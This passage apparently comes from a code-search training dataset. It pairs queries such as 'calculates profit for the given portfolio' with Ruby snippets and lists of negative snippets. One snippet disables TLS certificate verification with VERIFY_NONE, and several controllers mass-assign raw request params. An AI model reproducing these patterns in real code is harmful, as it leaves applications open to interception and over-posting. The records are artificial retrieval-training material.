redirect_to @sport_club, notice: 'Sport club was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sport_club.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @club = Club.new(params[:club])\n\n respond_to do |format|\n if @club.save\n format.html { redirect_to @club, :notice => 'Club was successfully created.' }\n format.json { render :json => @club, :status => :created, :location => @club }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @club.errors, :status => :unprocessable_entity }\n end\n end\n end", "def show\n @club = Club.find(params[:id])\n\n render json: @club\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
construct the quote list for querying the stock information
def get_quote_list(portfolio = Array.new) quote_list = Array.new portfolio.each do |p| quote_list << p['stock'] end return quote_list.join(',') end
[ "def stock_details_for_list(symbol_list)\n\t\t\tsymbol_list = symbol_list.collect { |symbol| sanitize_symbol(symbol) }\n\n return [] if symbol_list.blank?\n\n\t\t\tfield_mappings = {\n\t\t\t\tname: 'n',\n\t\t\t\tsymbol: 's',\n\t\t\t\task: 'a',\n\t\t\t\task_realtime: 'b2',\n\t\t\t\tbid: 'b',\n\t\t\t\tbid_realtime: 'b3',\n\t\t\t\tdays_range: 'm',\n\t\t\t\tyear_range: 'w',\n\t\t\t\topen: 'o',\n\t\t\t\tprevious_close: 'p',\n\t\t\t\tvolume: 'v',\n\t\t\t\tdividend_yield: 'y',\n\t\t\t\tearnings_share: 'e',\n\t\t\t\tstock_exchange: 'x',\n\t\t\t\tlast_trade_time: 't1',\n\t\t\t\teps_estimate_current_year: 'e7',\n\t\t\t\teps_estimate_next_year: 'e8',\n\t\t\t\teps_estimate_next_quarter: 'e9',\n\t\t\t\tpe_ratio: 'r',\n\t\t\t\ttwo_hundred_day_moving_average: 'm4',\n\t\t\t\tfifty_day_moving_average: 'm3',\n\t\t\t\tlast_trade_date: 'd1'\n\t\t\t}\n\n\t\t\tstart_time = Time.now.to_f\n\n csv = RestClient.get \"http://download.finance.yahoo.com/d/quotes.csv?s=#{symbol_list.join(',')}&f=#{field_mappings.values.join}\"\n\n\t\t\tall_details = CSV.parse(csv).collect do |row|\n\t\t\t\tdetails = Hash[field_mappings.keys.zip(row.collect { |v| v.to_s.strip.gsub(/['\"]/, '')} )]\n\n quote = create_openstruct(details)\n\n\t\t\t\tunless quote.name == quote.symbol\n\t\t\t\t\tquote.currently_trading = (Date.strptime(quote.last_trade_date, '%m/%d/%Y') == Date.today)\n\n quote.current_price = [quote.ask_realtime, quote.ask, quote.previous_close].detect do |value|\n\t\t\t\t\t\tvalue.to_f > 0.0\n end\n\n\t\t\t\t\tquote.current_bid = quote.bid_realtime || quote.bid\n\n\t\t\t\t\tquote.buy_price = quote.current_price.to_f + Order::TRANSACTION_FEE\n\n\t\t\t\t\tquote.statements_url = \"http://investing.money.msn.com/investments/sec-filings/?symbol=#{quote.symbol}\"\n\n # calculate stock trend\n close = quote.previous_close.to_f\n\n current = quote.current_price.to_f\n\n point_change = (current - close)\n\n quote.point_change = (point_change >= 0 ? '+' : '') + point_change.round(2).to_s\n\n\t\t\t\t\tquote.percent_change = ((point_change / close)*100).round(2)\n\n quote.trend_direction = quote.percent_change >= 0 ? 'up' : 'down'\n\n\t\t\t\t\tquote\n\t\t\t\telse\n\t\t\t\t\treturn nil\n\t\t\t\tend\n\t\t\tend\n\n\t\t\t#Rails.logger.debug \" Yahoo (#{((Time.now.to_f-start_time)*1000.0).round} ms): #{symbol_list}\" unless Rails.env.production?\n\n return Hash[symbol_list.zip(all_details)]\n\n\t\tend", "def quotes(ticker, start_date, end_date = Date.today)\n csv = fetch(ticker, start_date, end_date)\n return nil unless csv\n\n quotes = CSV.parse(csv) # Parse comma-delimited data.\n quotes[1..-1].map do |col| # Skip header line.\n #\n # I guess Google finance folks are tight on data so they return year\n # as two digits, ex: 23-Dec-11 or Apr-26-99. With the tweak below we\n # should be good till year 2042 ;-)\n #\n date = *col[0].split(\"-\")\n date[2] = ((date[2] <= \"42\" ? \"20\" : \"19\") + date[2]) if date[2].size == 2\n { :date => Date.parse(date.join(\"-\")),\n :open => col[1],\n :high => col[2],\n :low => col[3],\n :close => col[4],\n :volume => col[5]\n }\n end\n end", "def get_quote_list(html)\n quote_list = Array.new\n\n html.css('div.item-listing').css('div.item').each do |item|\n quote = Quote.new\n quote.id = item[\"class\"].gsub(/[^\\d]/, '')\n quote.link = BASE_QUOTE_LINK.gsub(\"id\", quote.id)\n\n quote_item = item.children()[0].children()[0]\n\n quote_item.children().each do |i|\n if i[\"class\"] == \"decoration\"\n i.content = \"|newline|\" + i.content + \"|decorationclass|\"\n end\n end\n\n while quote_item\n str = HTMLEntities.new.decode quote_item.content.gsub(/\\|newline\\|/, \"\\n\")\n\n str.each_line do |line|\n unless line =~ /^[[:space:]]+$/\n first, second = line.split(/\\|decorationclass\\|/)\n quote.quote << [first.strip(), second ? second.strip() : second]\n end\n end\n\n quote_list << quote\n if (quote_item != nil)\n quote_item = quote_item.next()\n end\n end\n\n end\n\n quote_list\n end", "def get_historical_quotes(from, to)\n \tstocks = Stock.find(:all)\n \tfor stock in stocks\n \t\t\n market = (sec.market == 'sh' ? 'ss' : sec.market) \n sid = (sec.market == 'hk' ? sec.sid.slice(1,4) : sec.sid)\n \t\t\t\n \t\tYahooFinance::get_HistoricalQuotes( \"#{sid}.#{market}\", \n Date.parse(from),\n Date.parse(to) ) {|hq|\n \t\t\tquote = Quote.new\n \t\t\tquote.security = stock\n \t\t\tquote.sid = stock.sid\n \t\t\tquote.market = stock.market\n \t\t\tquote.name = stock.name\n quote.result_date = hq.date\n \t\t\tquote.open = hq.open\n \t\t\tquote.high = hq.high\n \t\t\tquote.low = hq.low\n \t\t\tquote.close = hq.close\n \t\t\tquote.adjClose = hq.adjClose\n \t\t\tquote.vol = hq.volume\n \t\t\tquote.save!\n \t\t}\n\t end\n end", "def get_quote(ticker, args = {})\n if args.is_a? Hash\n start_date = args[:start_date] if args[:start_date]\n start_date ||= args[:s] if args[:s]\n\n end_date = args[:end_date] if args[:end_date]\n end_date ||= args[:e] if args[:e]\n\n period = args[:period] if args[:period]\n period ||= args[:p] if args[:p]\n end\n\n csv = @yahoo_client.get_csv(ticker, start_date, end_date, period, 'quote')\n create_quotes_from_csv(csv)\n end", "def quote\n fetch('princess_bride.quotes')\n end", "def get_quote\n response = RestClient.get(\"https://api.iextrading.com/1.0/stock/#{self.ticker}/quote\")\n JSON.parse(response.body)\n end", "def get_quotes\n\n quotes = []\n\n quote_array = params[:quote_messages]\n quote_array.each do |f|\n\n temp = {underwriter: f[:underwriter], premium: f[:premium]}\n quotes.push(temp)\n\n end\n return quotes\n end", "def quotations\n response = self.class.get('/quotations', OPTIONS)\n\n if response.success?\n parse_quotations(response)\n else\n []\n end\n end", "def quotes\n fetch('community.quotes')\n end", "def get_watchlist_stocks(watchlist)\n stocks = StockQuote::Stock.quote(watchlist)\nend", "def stockquote(stock)\n url = URI(\"https://apidojo-yahoo-finance-v1.p.rapidapi.com/market/v2/get-quotes?region=US&symbols=#{@stock}\")\n\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n \n request = Net::HTTP::Get.new(url)\n request[\"x-rapidapi-key\"] = ENV['X_RAPIDAPI_KEY']\n request[\"x-rapidapi-host\"] = 'apidojo-yahoo-finance-v1.p.rapidapi.com'\n \n response = http.request(request)\n quoteResponse = JSON.parse(response.read_body)['quoteResponse']\n result = quoteResponse['result']\n @zero = result[0]\n puts \"Symbol = #{@zero['symbol']}, Exchange = #{@zero['fullExchangeName']}, Bid = #{@zero['bid']}, Ask = #{@zero['ask']}\"\n\n return \"<div class =col>\n <h2>Symbol=<a>#{@zero['symbol']}</a></h2>\n <h4>Exchange=<a>#{@zero['fullExchangeName']}</a></h4>\n <h4>Bid=<a>#{@zero['bid']}</a></h4>\n <h4>Ask=<a>#{@zero['ask']}</a></h4>\n </div>\"\n end", "def quote\n fetch('south_park.quotes')\n end", "def quote\n fetch('departed.quotes')\n end", "def quote_names\n @feed_quote_map.values \n end", "def quote\n fetch('v_for_vendetta.quotes')\n end", "def quote\n fetch('suits.quotes')\n end", "def quotas\n @quotas\n end", "def quotes(symbols_array, columns_array = [\n :symbol, :last_trade_price, :last_trade_date,\n :change, :previous_close], options = {})\n\n options[:raw] ||= true\n ret = []\n symbols_array.each_slice(SYMBOLS_PER_REQUEST) do |symbols|\n read_quotes(symbols.join(\"+\"), columns_array).map do |row|\n ret << OpenStruct.new(row.to_hash)\n end\n end\n ret\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
calculates profit for the given portfolio
def calculate_portfolio(portfolio = Array.new) qs = get_quote_info(get_quote_list(portfolio)) portfolio.each do |p| p['info'] = qs[p['stock']] value_orderd = p['amount']*p['price'] value_now = p['amount']*p['info'].lastTrade p['profit_amount'] = value_now - value_orderd end return portfolio end
[ "def profit\n temp_trades = get_temp_trades\n\n result = 0\n temp_trades.each do |trade|\n result -= trade.num_shares * trade.price\n end\n\n truncate_round(result)\n end", "def portfolio_return\r\n \r\n num_stocks = @stock_names.length # number of assets in portfolio\r\n openval = @stock_open.map { |price| 1/price }\r\n closevals = @stock_close\r\n num_years = @period_actual / 365.25\r\n \r\n final_val = openval.zip(closevals).inject(0) do |dp,(openval,closevals)| dp + openval*closevals end\r\n \r\n if (num_stocks==0)\r\n return 0\r\n else\r\n if num_years >= 1.0\r\n return (((final_val / num_stocks) ** ( 1 / num_years)) - 1) * 100\r\n else\r\n return (final_val / num_stocks - 1 ) * 100\r\n end\r\n end\r\n end", "def profit\n @profit ||= odd.profit(@amount)\n end", "def stake_to_profit profit\n profit / @fractional_odds\n end", "def profit\n revenue - total_costs\n end", "def profit(amount)\n calculate_profit(amount)\n end", "def profit(start_date, end_date)\n stocks.map { |stock| stock.profit(start_date, end_date) }.sum\n end", "def profit\r\n\t\traw_profit = @selling_price - @aquisition_cost\r\n\tend", "def profit_calculation\r\n @total_profit = @cocktail_profit + @beer_profit + @water_profit\r\n end", "def portfolio\n \n p = {}\n \n p[:cash_in] = self.cash_in\n p[:total_investment] = self.investment\n p[:total_profit] = self.profit\n p[:balance] = self.balance\n p[:total_stocks] = 0\n\n # copy cached ownership info into portfolio data structure\n p[:stocks] = {} \n Ownership.where(:user_id => self.id).each do |o|\n if o.amount.nil?\n o.amount = 0\n o.save\n end\n p[:stocks][o.stock_id] = {:amount => o.amount, :stock => o.stock, :investment => o.investment, :avg_price => o.avg_price, :profit => o.profit}\n p[:total_stocks] += o.amount\n end\n \n p[:total_value] = 0\n \n # calculate current value \n p[:stocks].each do |stock_id, data|\n # value: how much is the stock currently worth on the market\n data[:value] = data[:amount] * data[:stock].price\n p[:total_value] += data[:value] \n end\n\n # do some additional calculations\n p[:total_investment_rel] = ((self.investment / self.cash_in) * 100).round(2)\n p[:total_profit_rel] = StocksHelper.rel_percent p[:cash_in], p[:balance] \n p[:total_value_rel] = StocksHelper.rel_percent p[:total_investment], p[:total_value] \n\n return p\n\n end", "def profit\n return @price - @cost\n end", "def calc_total_profit trades\n total_profit = 0\n\n trades.each do |transaction|\n profit = transaction[:item].revenue * transaction[:amount]\n total_profit += profit\n end\n\n total_profit\n end", "def update_portfolio\n buys = self.buyer_transactions.where(\"transaction_type_id = 0\").select(\"stock_id, sum(amount) as total\").group(\"stock_id\")\n sells = self.seller_transactions.where(\"transaction_type_id = 0\").select(\"stock_id, sum(amount) as total\").group(\"stock_id\")\n \n self.cash_in = self.seller_transactions.where(\"transaction_type_id = 1\").sum('amount * price')\n self.investment = 0\n self.profit = 0\n self.balance = self.calculate_balance\n\n p = {}\n p[:stocks] = {}\n \n # go through transactions to get current portfolio \n buys.each do |buy|\n stock = Stock.find(buy.stock_id)\n # add stocks to portfolio according to buys\n p[:stocks][buy.stock_id] = {:amount => buy.total, :stock => stock}\n sells.each do |sell|\n if buy.stock_id == sell.stock_id\n # subtract stocks from portfolio according to sells\n p[:stocks][buy.stock_id][:amount] = buy.total - sell.total\n end\n end\n end\n \n p[:stocks].each do |stock_id, data|\n\n # save portfolio in ownerships\n ownership = Ownership.where(:user_id => self.id, :stock_id => stock_id).first_or_create\n ownership.amount = data[:amount]\n\n # investment: how much did the user pay for the stocks he bought last?\n buys = self.buyer_transactions.where(:stock_id => stock_id).order('created_at DESC') \n counter = data[:amount]\n investment = 0\n buys.each do |buy|\n if counter - buy.amount > 0\n investment += buy.price * buy.amount\n else\n investment += buy.price * counter\n break\n end\n counter -= buy.amount\n end\n ownership.investment = investment\n self.investment += investment\n\n # avg_price: how much did the user pay for the stocks he bought last on avg\n ownership.avg_price = (ownership.investment / ownership.amount).round(2)\n\n # profit: how much money did the user make trading this stock\n gains = self.seller_transactions.where(:stock_id => stock_id).sum('amount * price')\n losses = self.buyer_transactions.where(:stock_id => stock_id).sum('amount * price') \n ownership.profit = gains - losses \n self.profit += ownership.profit\n\n ownership.save\n \n end\n \n self.save\n \n end", "def solution_profit(solution)\n selected_items(solution).reduce(0) { |total, item| total += item.profit }\n end", "def total_profitability(year = year_range.last)\n balance = total_year_balance(year)\n input = total_input(year) || 0\n output = total_output(year) || 0\n\n if balance && balance >= 0\n (balance + (-output) - input) / BigDecimal(input, 10)\n end\n end", "def profit\n return 0.0 unless self.deliverables.size > 0\n \n # Covers fixed and percentage profit though the +profit+ method being overloaded on the Deliverable types\n return self.deliverables.collect(&:profit).delete_if { |d| d.blank?}.inject { |sum, n| sum + n } || 0.0\n end", "def profit(start_date, end_date)\n price(end_date) - price(start_date)\n end", "def profit\n\t\t# defined as the gross amount, minus transaction fees\n\t\t# could also subtract shipping and tax here as well, but we don't have to deal with\n\t\t# any of that yet\n\t\tself.amount - self.payment_fee\n\tend", "def asset_total_profitability(asset, year = year_range.last)\n balance = asset_year_balance(asset, year)\n input = asset_total_input(asset, year) || 0\n output = asset_total_output(asset, year) || 0\n\n (balance + (-output) - input) / BigDecimal(input, 10)\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
printing the actual portfolio
def print_portfolio(portfolio = Array.new) template=<<EOT STOCK:\tLASTTRADE € \tAMOUNT @ PRICE € -> PROFIT € EOT money = portfolio.reduce(0) do |memo, p| t = template.dup t.sub!('STOCK', p['stock']) t.sub!('LASTTRADE', "#{p['info'].lastTrade}") t.sub!('AMOUNT', p['amount'].to_s) t.sub!('PRICE', p['price'].to_s) t.sub!('PROFIT', p['profit_amount'].to_s) puts t memo += p['profit_amount'] end puts "-> #{money} €" end
[ "def display\n\t\tif @portfolio.empty?\n\t\t\tputs \"Your portfolio is empty!\"\n\t\telse\t\n\t\t\tputs \"Your portfolio holdings:\"\n\t\t\t@portfolio.each do |stock, amount|\n\t\t \t\tputs \"#{stock.display_name}: #{amount}\"\n\t\t\tend\n\t\tend\t\t\n\tend", "def display\n puts \"Title: #{@title}\"\n puts \"Author: #{@author}\"\n puts \"Price: #{@price}\"\n end", "def print_report\n\tascii_art('Sales Report')\n\ttodays_date\n\tascii_art('Products')\n\tsection_break\n\tproducts\n\tascii_art('Brands')\n\tsection_break\n\tbrands\nend", "def print_my_stocks\n my_stocks.each do |stock| #print out stocks to screen\n puts \"\\n#{Stock.all.find(stock.stock_id).company}\"\n puts \"\\tShares: #{stock.num_shares}\"\n puts \"\\tPurchased for: $#{stock.purchase_price}\\n\"\n puts \"\\tStock ID: #{stock.stock_id}\\n\"\n end\n end", "def printStock\n\t\tprintf \"\\n%10s %10d %10.2f, %+10.2f\", name, Integer(shares), Float(price), Float(change)\n\tend", "def print_sales_rpt\n\treturn \"\n ____ _ ____ _ \n / ___| __ _| | ___ ___ | _ \\\\ ___ _ __ ___ _ __| |_ \n \\\\___ \\\\ / _` | |/ _ / __| | |_) / _ | '_ \\\\ / _ \\\\| '__| __|\n ___) | (_| | | __\\\\__ \\\\ | _ | __| |_) | (_) | | | |_ \n |____/ \\\\__,_|_|\\\\___|___/ |_| \\\\_\\\\___| .__/ \\\\___/|_| \\\\__|\n |_| \n===============================================================\\n\"\nend", "def portfolio_return\r\n \r\n num_stocks = @stock_names.length # number of assets in portfolio\r\n openval = @stock_open.map { |price| 1/price }\r\n closevals = @stock_close\r\n num_years = @period_actual / 365.25\r\n \r\n final_val = openval.zip(closevals).inject(0) do |dp,(openval,closevals)| dp + openval*closevals end\r\n \r\n if (num_stocks==0)\r\n return 0\r\n else\r\n if num_years >= 1.0\r\n return (((final_val / num_stocks) ** ( 1 / num_years)) - 1) * 100\r\n else\r\n return (final_val / num_stocks - 1 ) * 100\r\n end\r\n end\r\n end", "def print_inventory\n\t\tputs \"------ Inventory ------\"\n\t\t@prices.each do |item, price|\n\t\t\tputs \"#{item}:\\t$%.2f,\\t#{quantities[item.to_sym]} in stock\" % price\n\t\tend\n\t\tputs \"-----------------------\"\n\tend", "def display_each\n puts \" * #{self.experience} experience at #{self.company_name}\"\n end", "def print_planets\n puts \"\\n#{@name} has #{@planets.length} planets and was formed #{@formation_year} years ago.\"\n puts \"\\nHere are the planets in the #{@name} solar system:\\n\\n\"\n @planets.each do |planet|\n puts \"#{planet.print_planet_data}\"\n end\n puts \"\\n\"\n end", "def index\n @projectportfolios = Projectportfolio.all\n end", "def overall_total\n puts \"Portfolio Total: $#{sprintf('%.2f', @all_totals)}\"\n end", "def print_single_stock_price_pct(stock)\n table_rows = [] \n stock_ticker = get_stock_symbol(stock)\n set_rows_price_pct(table_rows, stock)\n make_table(get_company_name(stock_ticker), ['Stock', 'Price','% Change Prev Day','% Change YTD','% From 52 Week High','% From 52 Week Low'], table_rows)\n\nend", "def add_portfolio\n @account = Account.find(params[:id])\n @account.add_portfolio(params[:name].to_s)\n @portfolios = @account.portfolios.order(id: :desc)\n #self.get_account\n render 'txn'\n end", "def portfolio\n \n p = {}\n \n p[:cash_in] = self.cash_in\n p[:total_investment] = self.investment\n p[:total_profit] = self.profit\n p[:balance] = self.balance\n p[:total_stocks] = 0\n\n # copy cached ownership info into portfolio data structure\n p[:stocks] = {} \n Ownership.where(:user_id => self.id).each do |o|\n if o.amount.nil?\n o.amount = 0\n o.save\n end\n p[:stocks][o.stock_id] = {:amount => o.amount, :stock => o.stock, :investment => o.investment, :avg_price => o.avg_price, :profit => o.profit}\n p[:total_stocks] += o.amount\n end\n \n p[:total_value] = 0\n \n # calculate current value \n p[:stocks].each do |stock_id, data|\n # value: how much is the stock currently worth on the market\n data[:value] = data[:amount] * data[:stock].price\n p[:total_value] += data[:value] \n end\n\n # do some additional calculations\n p[:total_investment_rel] = ((self.investment / self.cash_in) * 100).round(2)\n p[:total_profit_rel] = StocksHelper.rel_percent p[:cash_in], p[:balance] \n p[:total_value_rel] = StocksHelper.rel_percent p[:total_investment], p[:total_value] \n\n return p\n\n end", "def print_company_expense\n\t\tputs \"Company expenses : #{@@expense} \\n\"\t\t\n\tend", "def print_single_stock_price(stock)\n table_rows = []\n stock_ticker = get_stock_symbol(stock)\n set_rows_price(table_rows, stock)\n make_table(get_company_name(stock_ticker), ['Stock', 'Price','Price Change from Prev Day','Price Change YTD','Change from 52 Week High','Change From 52 Week Low'], table_rows)\nend", "def show_sandwich\n sandwich_content = @sandwich.get_composition\n\n puts \"Here is your sandwich you ordered:\"\n puts \"-------------------------------------------\"\n sandwich_content.each do |key, value|\n puts \"#{key.capitalize}: #{value.to_sentence}\"\n end\n puts \"-------------------------------------------\"\n puts \"TOTAL COST: $#{'%.2f' % @sandwich.get_cost}\"\n end", "def index\n @dj_portfolios = DjPortfolio.all\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
PATCH/PUT /seasons/1 PATCH/PUT /seasons/1.json
def update respond_with @season.update(season_params) end
[ "def update\n @season = Season.find(params[:id])\n\n respond_to do |format|\n if @season.update_attributes(params[:season])\n format.html { redirect_to @season, notice: 'Season was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @season.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @season.update(season_params)\n render :show, status: :ok\n else\n render json: @season.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @team_season.update(team_season_params)\n format.html { redirect_to @team_season, notice: 'Team season was successfully updated.' }\n format.json { render :show, status: :ok, location: @team_season }\n else\n format.html { render :edit }\n format.json { render json: @team_season.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @app_season = AppSeason.find(params[:id])\n\n respond_to do |format|\n if @app_season.update_attributes(params[:app_season])\n format.html { redirect_to @app_season, notice: 'App season was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @app_season.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @runway_season = Runway::Season.find(params[:id])\n\n respond_to do |format|\n if @runway_season.update_attributes(params[:runway_season])\n format.html { redirect_to @runway_season, notice: 'Season was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\", layout: \"forms\" }\n format.json { render json: @runway_season.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @tv_season = TvSeason.find(params[:id])\n\n respond_to do |format|\n if @tv_season.update_attributes(params[:tv_season])\n format.html { redirect_to @tv_season, notice: 'Tv season was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tv_season.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @season = Season.find(params[:id])\n\n respond_to do |format|\n if @season.update(params[:season])\n format.html { return_to_last_point(notice: 'Season was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render action: 'edit' }\n format.xml { render xml: @season.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @admin_season.update(admin_season_params)\n format.html { redirect_to @admin_season, success: 'Season was successfully updated.' }\n format.json { render :show, status: :ok, location: @admin_season }\n else\n format.html { render :edit }\n format.json { render json: @admin_season.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @test_season.update(test_season_params)\n format.html { redirect_to @test_season, notice: 'Test season was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @test_season.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @season = Season.find(params[:id])\n\n respond_to do |format|\n if @season.update_attributes(params[:season])\n flash[:notice] = 'Season was successfully updated.'\n format.html { redirect_to(seasons_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @season.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n #@season = Season.find(params[:id])\n\n respond_to do |format|\n #if @season.update_attributes(params[:season])\n if @season.update_attributes(season_params)\n format.html { redirect_to(@season, :notice => 'Season was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @season.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @batting_season = BattingSeason.find(params[:id])\n\n respond_to do |format|\n if @batting_season.update_attributes(params[:batting_season])\n format.html { redirect_to @batting_season, notice: 'Batting season was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @batting_season.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @season_request.update(season_request_params)\n format.html { redirect_to season_requests_path, notice: 'Season request was successfully updated.' }\n format.json { render :show, status: :ok, location: @season_request }\n else\n format.html { render :edit }\n format.json { render json: @season_request.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @season_stat.update(season_stat_params)\n format.html { redirect_to @season_stat, notice: 'Season stat was successfully updated.' }\n format.json { render :show, status: :ok, location: @season_stat }\n else\n format.html { render :edit }\n format.json { render json: @season_stat.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @pitching_season = PitchingSeason.find(params[:id])\n\n respond_to do |format|\n if @pitching_season.update_attributes(params[:pitching_season])\n format.html { redirect_to @pitching_season, notice: 'Pitching season was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pitching_season.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tv_show_season.update(tv_show_season_params)\n format.html { redirect_to @tv_show_season, notice: 'Tv show season was successfully updated.' }\n format.json { render :show, status: :ok, location: @tv_show_season }\n else\n format.html { render :edit }\n format.json { render json: @tv_show_season.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @admin_season_team = Admin::SeasonTeam.find(params[:id])\n\n respond_to do |format|\n if @admin_season_team.update_attributes(params[:admin_season_team])\n format.html { redirect_to @admin_season_team, notice: 'Season team was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @admin_season_team.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @season_test.update(season_test_params)\n format.html { redirect_to @season_test, notice: 'Season test was successfully updated.' }\n format.json { render :show, status: :ok, location: @season_test }\n else\n format.html { render :edit }\n format.json { render json: @season_test.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @seasonality = Seasonality.find(params[:id])\n\n respond_to do |format|\n if @seasonality.update_attributes(params[:seasonality])\n format.html { redirect_to @seasonality, :notice => 'Seasonality was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @seasonality.errors, :status => :unprocessable_entity }\n end\n end\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
GET /user_logins GET /user_logins.json
def index @user_logins = UserLogin.all end
[ "def logins()\n _params = {}\n return @master.call 'users/logins', _params\n end", "def index\n @logins = Login.all\n\n render json: @logins\n end", "def index\n @logins = Login.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @logins }\n end\n end", "def index\n @log_ins = LogIn.all\n end", "def retrieve_user_recent_logins(user_id, offset, limit)\n start.uri('/api/user/recent-login')\n .url_parameter('userId', user_id)\n .url_parameter('offset', offset)\n .url_parameter('limit', limit)\n .get()\n .go()\n end", "def retrieve_user_recent_logins(user_id, offset, limit)\n start.uri('/api/user/recent-login')\n .url_parameter('userId', user_id)\n .url_parameter('offset', offset)\n .url_parameter('limit', limit)\n .get()\n .go()\n end", "def get_user_ip_list(logins)\n mock_request = Rack::MockRequest.new(APP)\n mock_request.get(user_ip_endpoint, { 'router.params' => { logins: logins }, format: :json })\n end", "def retrieve_recent_logins(offset, limit)\n start.uri('/api/user/recent-login')\n .url_parameter('offset', offset)\n .url_parameter('limit', limit)\n .get()\n .go()\n end", "def index\n @account_logins = AccountLogin.all\n end", "def retrieve_recent_logins(offset, limit)\n start.uri('/api/user/recent-login')\n .url_parameter('offset', offset)\n .url_parameter('limit', limit)\n .get()\n .go()\n end", "def index\n if current_user.try(:admin?)\n @checkins = Checkin.all\n @checkins_for_json = current_user.checkins\n elsif user_signed_in?\n @checkins = current_user.checkins\n @checkins_for_json = @checkins\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @checkins_for_json }\n end\n end", "def index\n @logininfos = current_user.logininfos.all\n @key = session[:key]\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @logininfos }\n end\n end", "def get_user_admin_logins() end", "def index\n @users = current_account.users\n render json: @users, status: :ok\n end", "def search_for_login\n @login_crowd_entry ||= begin\n user = JSON.parse(@crowd['/usermanagement/1/user.json?username=' + @login].get(:content_type => 'application/json', 'Accept' => 'application/json')) rescue nil \n end\n end", "def get_current_logged_in_user \n get(\"/users.json/current\")\nend", "def index\n @session_logins = SessionLogin.all\n end", "def index\n @checkins = @user.checkins\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @checkins }\n end\n end", "def index\n @test_logins = TestLogin.all\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
GET /sign_ups GET /sign_ups.json
def index @sign_ups = SignUp.all end
[ "def index\n @signups = Signup.where(:user_id => current_user.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @signups }\n end\n end", "def index\n @signups = Signup.all\n end", "def index\n @user_signups = UserSignup.all\n end", "def index\n @sign_ups = SignUp.find(:all)\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @sign_ups }\n end\n end", "def create\n @event = Event.find(params[:event_id])\n @event.signups.new(params[:signup])\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to :root, notice: \"That's it! You're all signed up!\" }\n format.json { render json: @event, status: :created, signup: @signup }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @osignups = Osignup.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @osignups }\n end\n end", "def get_sign_up_page_details(params)\n get('sign-up', params)\n end", "def index\n @pushups = current_user.pushups.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pushups }\n end\n end", "def show\n @signup = Signup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @signup }\n end\n end", "def index\n @vsignups = Vsignup.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @vsignups }\n end\n end", "def new\n @signup = Signup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @signup }\n end\n end", "def index\n @sign_up_users = SignUpUser.all\n end", "def new\n @signup = Signup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @signup }\n end\n end", "def index\n @signups = Signup.find(:all, :conditions => ['email = ?', current_user.email])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @signups }\n end\n end", "def index\n @early_signups = EarlySignup.all\n end", "def 